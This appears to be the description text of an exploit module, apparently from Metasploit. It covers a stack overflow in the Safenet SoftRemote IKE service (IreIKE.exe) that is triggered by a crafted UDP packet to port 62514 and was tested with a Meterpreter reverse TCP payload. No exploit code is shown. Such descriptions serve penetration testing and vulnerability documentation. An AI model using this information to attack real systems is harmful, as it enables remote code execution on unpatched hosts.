This module exploits a stack overflow in Safenet SoftRemote IKE IreIKE.exe  
service. When sending a specially crafted udp packet to port 62514 an  
attacker may be able to execute arbitrary code. This module has  
been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using  
windows/meterpreter/reverse_ord_tcp payloads.
